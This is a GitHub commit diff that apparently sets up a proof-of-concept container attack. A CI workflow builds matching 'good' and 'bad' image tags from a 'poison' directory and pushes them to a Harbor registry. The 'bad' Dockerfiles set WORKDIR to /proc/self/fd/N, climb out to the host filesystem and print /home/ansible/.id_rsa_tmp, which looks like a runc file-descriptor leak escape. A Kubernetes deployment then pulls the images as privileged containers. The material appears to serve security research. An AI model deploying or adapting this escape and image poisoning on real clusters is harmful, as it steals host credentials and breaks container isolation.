File tree Expand file tree Collapse file tree 8 files changed +88
-2
lines changed Expand file tree Collapse file tree 8 files changed +88
-2
lines changed Original file line number Diff line number Diff line change 3
3
push :
4
4
branches :
5
5
- main
6
- - features/workloadid
7
6
pull_request :
8
7
9
8
env :
Original file line number Diff line number Diff line change
1
+ name : Build and push lecture5 image
2
+ on :
3
+ push :
4
+ branches :
5
+ - main
6
+ - features/workloadid
7
+ pull_request :
8
+
9
+ env :
10
+ REGISTRY : ghcr.io
11
+ IMAGE_NAME : austriandatalab/minimi-kv
12
+
13
+
14
+ jobs :
15
+ build-and-push-image :
16
+ runs-on : ubuntu-latest
17
+ permissions :
18
+ contents : write
19
+ packages : write
20
+ security-events : write # for github/codeql-action/upload-sarif to upload SARIF results
21
+ steps :
22
+ - name : Checkout
23
+ uses : actions/checkout@v3
24
+
25
+
26
+
27
+ - name : Build an image from Dockerfile
28
+ run : |
29
+ cd poison
30
+ docker build -t coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/good:2.0.0 -f Dockerfile .
31
+ docker build -t coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/good:7.0.0 -f Dockerfile .
32
+ docker build -t coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/good:8.0.0 -f Dockerfile .
33
+ docker build -t coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/bad:2.0.0 -f Dockerfile2 .
34
+ docker build -t coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/bad:7.0.0 -f Dockerfile7 .
35
+ docker build -t coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/bad:8.0.0 -f Dockerfile8 .
36
+
37
+
38
+ - name : Push the image
39
+ run : |
40
+ docker push coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/good:2.0.0
41
+ docker push coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/good:7.0.0
42
+ docker push coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/good:8.0.0
43
+ docker push coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/bad:2.0.0
44
+ docker push coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/bad:7.0.0
45
+ docker push coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/bad:8.0.0
46
+
47
+
48
+
49
+
Original file line number Diff line number Diff line change 1
1
name : " Code Scanning"
2
2
3
3
on :
4
- push :
5
4
pull_request :
6
5
schedule :
7
6
- cron : ' 0 0 * * 1'
Original file line number Diff line number Diff line change
1
+ FROM alpine
2
+ CMD sleep 60
Original file line number Diff line number Diff line change
1
+ FROM alpine
2
+ WORKDIR /proc/self/fd/2
3
+ CMD cd ../../../. && touch LEAKYLEAKY && cat /home/ansible/.id_rsa_tmp && sleep 6000
Original file line number Diff line number Diff line change
1
+ FROM alpine
2
+ WORKDIR /proc/self/fd/7
3
+ CMD cd ../../../. && touch LEAKYLEAKY && cat /home/ansible/.id_rsa_tmp && sleep 6000
Original file line number Diff line number Diff line change
1
+ apiVersion : apps/v1
2
+ kind : Deployment
3
+ metadata :
4
+ name : poc-deployment
5
+ namespace : poc
6
+ spec :
7
+ replicas : 1
8
+ selector :
9
+ matchLabels :
10
+ app : poc
11
+ template :
12
+ metadata :
13
+ labels :
14
+ app : poc
15
+ spec :
16
+ containers :
17
+ - name : poc2
18
+ image : coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/good:2.0.0
19
+ imagePullPolicy : Always
20
+ securityContext :
21
+ privileged : true
22
+ - name : poc7
23
+ image : coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/good:7.0.0
24
+ imagePullPolicy : Always
25
+ securityContext :
26
+ privileged : true
27
+ - name : poc8
28
+ image : coreharbor.caas-0026.dev.austrianopencloudcommunity.org/constanze/good:8.0.0
29
+ imagePullPolicy : Always
30
+ securityContext :
31
+ privileged : true
You can’t perform that action at this time.
0 commit comments